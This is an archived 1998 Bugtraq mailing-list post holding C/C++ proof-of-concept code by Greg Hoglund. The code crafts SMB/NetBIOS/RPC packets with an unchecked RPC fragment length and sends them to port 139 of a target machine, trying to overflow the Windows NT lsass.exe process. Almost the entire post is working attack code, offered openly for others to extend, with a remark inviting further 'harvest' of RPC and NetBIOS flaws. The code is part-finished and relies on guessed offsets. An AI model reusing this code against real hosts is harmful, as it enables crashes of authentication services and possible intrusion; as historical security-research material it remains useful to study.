Everhart,Glenn From: Greg Hoglund [gregh@WEBTRENDS.COM] Sent: Tuesday, May 05, 1998 7:30 PM To: BUGTRAQ@NETSPACE.ORG Subject: SMB/RPC workbench code sorry if my email program mucked up the code formatting... //////////////////////////////////////////////////// // Workshop code to test offsets in SMB/RPC calls // over TCP/IP // // May 1, 1998 // Greg Hoglund http://www.asmodeus.com // // I recently became aware of some issues in the lsass.exe // process. Prior to the lsa2-fix hotfix, you can apparently // buffer overflow lsass thru an RPC call. // See KB Q154087 // // I wrote this code this morning to try and exploit // this behavior. I skipped alot and just hard coded // some parameter blocks. You might want to play with // this or improve upon it. If you make improvements // I sincerely ask that you release the update. // // RPC and Netbios are an orchard just waiting to // be picked. I hope that this code will help the // harvest. //////////////////////////////////////////////////// #ifndef UNICODE #define UNICODE #endif // UNICODE #include #include // from the ddk #include "ntsecapi.h" #define RTN_OK 0 #define RTN_USAGE 1 #define RTN_ERROR 13 // // If you have the ddk, include ntstatus.h. // #ifndef STATUS_SUCCESS #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #endif //////////////////////////////////////////////// // Targets // // The NBT header length and RPC fragment offset // can be set. Incorrect RPC fragment offset // can overflow the remote lsass.exe process //////////////////////////////////////////////// #define TARGET_IP "192.168.0.28" #define TARGET_MACHINENAME "LARRY" #define TARGET_USERNAME "GREGH" #define NBT_PACKET_LENGTH 0xA400 #define RPC_FRAGMENT_OFFSET 0xFFFF //////////////////////////////////////////////// // SMB/NBT/RPC structures for packets //////////////////////////////////////////////// typedef struct _NBTHeader { struct { u_char packetType; u_char packetFlags; #define NBT_ADDLEN 0x00 u_short packetLen; } s; } NBT_HEADER, *NBT_HEADER_P; // this isn't exactly to spec, but everything is aligned OK typedef struct _SMB { struct smb_static{ NBT_HEADER NBTHeader; u_char protocol[4]; // Contains 0xFF,'SMB' u_char command; // Command code u_char status[4]; // error u_char flags; // Flags u_short flags2; // More flags u_char pad[12]; // Ensure section is 12 bytes long u_short tid; // Tree identifier u_short pid; // Opaque for client use u_short uid; // User id u_short mid; // multiplex id u_char wordCount; // Count of parameter words } s; u_short *parameterWordsP; // The parameter words u_short byteCount; // Count of bytes u_char *bufferP; // The bytes } SMB_HEADER, *SMB_HEADER_P; // RPC structures // I pulled from cifsntdomain.txt: // http://mailhost.cb1.com/~lkcl/ntdom/cifsntdomain.txt typedef struct _RPCHeader { u_char versionMaj; u_char verisonMin; u_char type; u_char flags; u_long rep; u_short fraglength; // THIS is NOT sanity checked, oops. Fixed in lsa2-fix u_short authlen; u_long callid; } RPC_HEADER, *RPC_HEADER_P; typedef struct _RPC_Bind { u_short maxtsize; u_short maxrsize; u_long assocgid; u_long numelements; u_short contextid; u_char numsyntaxes; } RPC_BIND, *RPC_BIND_P; // I didn't have the structures for these parameter blocks. I sniffed these ones. // Perhaps someone (?) could look them up / figure them out // sets up desired access, create flags, etc... static char CreateXParms[] = "\xFF\x00\x00\x00\x00\x0E\x00\x06\x00\x00\x00\x00\x00\x00" \ "\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \ "\x00\x02\x00\x00\x00\x00"; static char RTransact[] = "\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02\x00" \ "\x26\x00\x02\x08"; static char RTransact2[] = "\x00\x00\x92\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x54\x00\x92\x00\x54\x00\x02\x00" "\x26\x00\x00\x08"; // UNICODE = "\.l.s.a.r.p.c." (prefixed with 0x20 ?) static char CreateXFilename[] = "\x20\x5C\x00\x6C\x00\x73\x00\x61\x00\x72\x00\x70\x00\x63\x00\x00\x00"; static char PresentationContext[] = "\x01\x00\x00\x00\x00\x00\x01\x00\x78\x57\x34\x12\x34\x12\xCD" \ "\xAB\xEF\x00\x01\x23\x45\x67\x89\xAB\x00\x00\x00\x00\x04\x5D" \ "\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02" \ "\x00\x00\x00"; // C NT Create & X SMB_HEADER_P CreateSMBOpenPacket() { SMB_HEADER_P sHeadP = new SMB_HEADER; memset(sHeadP, 0, sizeof(SMB_HEADER)); NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader); nbtHeaderP->s.packetType = 0x00; // Session Manage == 0x00 nbtHeaderP->s.packetFlags = 0x00; nbtHeaderP->s.packetLen = 0x0000; // I set the correct packet size later memcpy(sHeadP->s.protocol, "\xFFSMB", 4); //standard SMB protocol sHeadP->s.command = (char)0xA2; //Command == Create & X sHeadP->s.flags = (char)0x18; //0x18 == (using caseless pathnames | canonical pathnames) sHeadP->s.flags2 = 0x8003; //0x8003 == (understand long filenames | extended attribs | UNICODE ) // i chose these arbritrary (sniffed packet) sHeadP->s.tid = 0x800; sHeadP->s.pid = 0x1E00; sHeadP->s.uid = 0x801; sHeadP->s.mid = 0xC0; // setup parameters for "Create & X" command sHeadP->s.wordCount = 24; sHeadP->parameterWordsP = (u_short *) CreateXParms; sHeadP->byteCount = 17; sHeadP->bufferP = (u_char *) CreateXFilename; return (sHeadP); } SMB_HEADER_P CreateRPCBind(int size) { SMB_HEADER_P sHeadP = new SMB_HEADER; memset(sHeadP, 0, sizeof(SMB_HEADER)); NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader); nbtHeaderP->s.packetType = 0x00; // Session Manage == 0x00 nbtHeaderP->s.packetFlags = 0x00; nbtHeaderP->s.packetLen = 0x0000; // FIXME need to set correct packet size memcpy(sHeadP->s.protocol, "\xFFSMB", 4); //standard SMB protocol sHeadP->s.command = (char)0x25; //Command == RTransact sHeadP->s.flags = (char)0x18; //0x18 == (using caseless pathnames | canonical pathnames) sHeadP->s.flags2 = 0x8003; //0x8003 == (understand long filenames | extended attribs | UNICODE ) // i chose these arbritrary (sniffed packet) sHeadP->s.tid = 0x800; sHeadP->s.pid = 0x1E00; sHeadP->s.uid = 0x801; sHeadP->s.mid = 0xC0; // setup parameters for "RTransact" command sHeadP->s.wordCount = 16; sHeadP->parameterWordsP = (u_short *) RTransact; sHeadP->byteCount = 89; sHeadP->bufferP = new u_char[89]; // UNICODE "\.P.I.P.E.\." prefixed w/ NULL memcpy(sHeadP->bufferP, "\x00\x5C\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5C\x00\x00\x00\x00\xD5", 17); RPC_HEADER rpchead; rpchead.versionMaj = 0x05; rpchead.verisonMin = 0x00; rpchead.type = 0x0B; // Type == Bind rpchead.flags = 0x00; rpchead.rep = 0x00000010; rpchead.fraglength = size; // THIS is NOT sanity checked, oops. rpchead.authlen = 0x0000; rpchead.callid = 0xBAADF00D; // someone eat bad chinese for lunch? (this is hard coded in NT) memcpy(sHeadP->bufferP + 17, &rpchead, sizeof(RPC_HEADER)); RPC_BIND rpcbind; rpcbind.maxtsize = 0x1630; rpcbind.maxrsize = 0x1630; rpcbind.assocgid = 0x0000; rpcbind.numelements = 0x01; rpcbind.contextid = 0x00; rpcbind.numsyntaxes = 0x01; memcpy( sHeadP->bufferP + 17 + sizeof(RPC_HEADER), &rpcbind, sizeof(RPC_BIND)); memcpy( sHeadP->bufferP + 17 + sizeof(RPC_HEADER) + sizeof(RPC_BIND), PresentationContext, 48); return (sHeadP); } SMB_HEADER_P CreateRPCRequest(int size) { SMB_HEADER_P sHeadP = new SMB_HEADER; memset(sHeadP, 0, sizeof(SMB_HEADER)); NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader); nbtHeaderP->s.packetType = 0x00; // Session Manage == 0x00 nbtHeaderP->s.packetFlags = 0x00; nbtHeaderP->s.packetLen = 0x0000; // set the size later memcpy(sHeadP->s.protocol, "\xFFSMB", 4); //standard SMB protocol sHeadP->s.command = (char)0x25; //Command == RTransact sHeadP->s.flags = (char)0x18; //0x18 == (using caseless pathnames | canonical pathnames) sHeadP->s.flags2 = 0x8003; //0x8003 == (understand long filenames | extended attribs | UNICODE ) // i chose these arbritrary (sniffed packet) sHeadP->s.tid = 0x800; sHeadP->s.pid = 0xA700; sHeadP->s.uid = 0x800; sHeadP->s.mid = 0x14C0; // setup parameters for "RTransact" command sHeadP->s.wordCount = 16; sHeadP->parameterWordsP = (u_short *) RTransact2; sHeadP->byteCount = 97; sHeadP->bufferP = new u_char[97]; // UNICODE "\.P.I.P.E.\." prefixed w/ NULL memcpy(sHeadP->bufferP, "\x00\x5C\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5C\x00\x00\x00\x00\xD5", 17); RPC_HEADER rpchead; rpchead.versionMaj = 0x05; rpchead.verisonMin = 0x00; rpchead.type = 0x00; // Type == Request rpchead.flags = 0x03; // Set last fragment rpchead.rep = 0x00000010; rpchead.fraglength = size; // THIS is NOT sanity checked, oops. rpchead.authlen = 0x0000; rpchead.callid = 0x00000001; memcpy( sHeadP->bufferP + 17, &rpchead, sizeof(RPC_HEADER)); // set the allocation hint, op number, and stub data... // sorry, i didn't want to code the struct for these // the target machine name "LARRY" is unicoded in this // block, but I wasn't sure if lsass would even get to here // if i managed to blow it's stack // maybe someone(?) or i should code these structs... // I get the impression there is still alot of reverse // engineering going on for this, after reading the cifs // stuff.. if i'm wrong, please point me to the source ;) memcpy( sHeadP->bufferP + 17 + sizeof(RPC_HEADER), "\x38\x00\x00\x00\x00\x00\x2C\x00\xD8\x0D\x14" \ "\x00\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00" \ "\x00\x00\x4C\x00\x41\x00\x52\x00\x52\x00\x59" \ "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x10\x08\x00\x00", 64); return (sHeadP); } char * BuildPacket(SMB_HEADER_P sHeader, int *size) { //pack it down int sHeaderSize = sizeof(struct _SMB::smb_static) + (sHeader->s.wordCount * 2) + sHeader->byteCount + 1; sHeader->s.NBTHeader.s.packetLen = NBT_PACKET_LENGTH; *size = sHeaderSize; char *tosend = new char[sHeaderSize]; memcpy( &tosend[0], sHeader, sizeof(SMB_HEADER::smb_static)); memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1)], sHeader->parameterWordsP, (sHeader->s.wordCount * 2)); memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1) + (sHeader->s.wordCount * 2)], (void *)&sHeader->byteCount, sizeof(sHeader->byteCount)); memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1) + (sHeader->s.wordCount * 2) + sizeof(sHeader->byteCount)], sHeader->bufferP, sHeader->byteCount); return(tosend); } void InitLsaString( PLSA_UNICODE_STRING LsaString, LPWSTR String ) { DWORD StringLength; if (String == NULL) { LsaString->Buffer = NULL; LsaString->Length = 0; LsaString->MaximumLength = 0; return; } StringLength = wcslen(String); LsaString->Buffer = String; LsaString->Length = (USHORT) StringLength * sizeof(WCHAR); LsaString->MaximumLength=(USHORT)(StringLength+1) * sizeof(WCHAR); } NTSTATUS OpenPolicy( LPWSTR ServerName, DWORD DesiredAccess, PLSA_HANDLE PolicyHandle ) { LSA_OBJECT_ATTRIBUTES ObjectAttributes; LSA_UNICODE_STRING ServerString; PLSA_UNICODE_STRING Server = NULL; // // Always initialize the object attributes to all zeroes. // ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes)); if (ServerName != NULL) { // // Make a LSA_UNICODE_STRING out of the LPWSTR passed in // InitLsaString(&ServerString, ServerName); Server = &ServerString; } // lets try to fuck this up ObjectAttributes.Length = 65536; // // Attempt to open the policy. // return LsaOpenPolicy( Server, &ObjectAttributes, DesiredAccess, PolicyHandle ); } int _cdecl main(void) { LSA_HANDLE PolicyHandle; WCHAR wComputerName[256]=L""; // static machine name buffer TCHAR AccountName[256]; // static account name buffer NTSTATUS Status; int iRetVal=RTN_ERROR; // assume error from main wsprintf(AccountName, TEXT("%hS"), TARGET_USERNAME); wsprintfW(wComputerName, L"%hS", TARGET_MACHINENAME); // // Open the policy on the target machine. // This call sets up the /lsarpc pipe for us // this maps to the lsass.exe process, which has some // problems with buffer overflow. // See knowledgebase article Q154087 // // We could also use the CreateSMBOpenPacket() call above // to do this manually. I figured it easier to // use the system call.... if((Status=OpenPolicy( wComputerName, // target machine POLICY_CREATE_ACCOUNT | POLICY_LOOKUP_NAMES, &PolicyHandle // resultant policy handle )) != STATUS_SUCCESS) { return RTN_ERROR; } // pipe is open, start forging your own packets WSADATA wsaData; if(WSAStartup(MAKEWORD(2,1), &wsaData) != 0) exit(1); // we already handled this... // Send SMBOpenX for /lsarpc which translates to lsass process // SMB_HEADER_P sHeader = CreateSMBOpenPacket(); // I was looping thru all fragment offsets... //for(int i = 0; i<65536; i++) //{ SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if(s == SOCKET_ERROR) exit(1); SOCKADDR_IN addr; addr.sin_family = AF_INET; addr.sin_port = htons(139); addr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP); SMB_HEADER_P sHeader = CreateRPCRequest(RPC_FRAGMENT_OFFSET); int sPacketSize; char *tosend = BuildPacket(sHeader, &sPacketSize); if(connect(s, (struct sockaddr *) &addr, sizeof(SOCKADDR_IN)) != SOCKET_ERROR) send(s, (char *) tosend, sPacketSize, 0); closesocket(s); //} return(RTN_OK);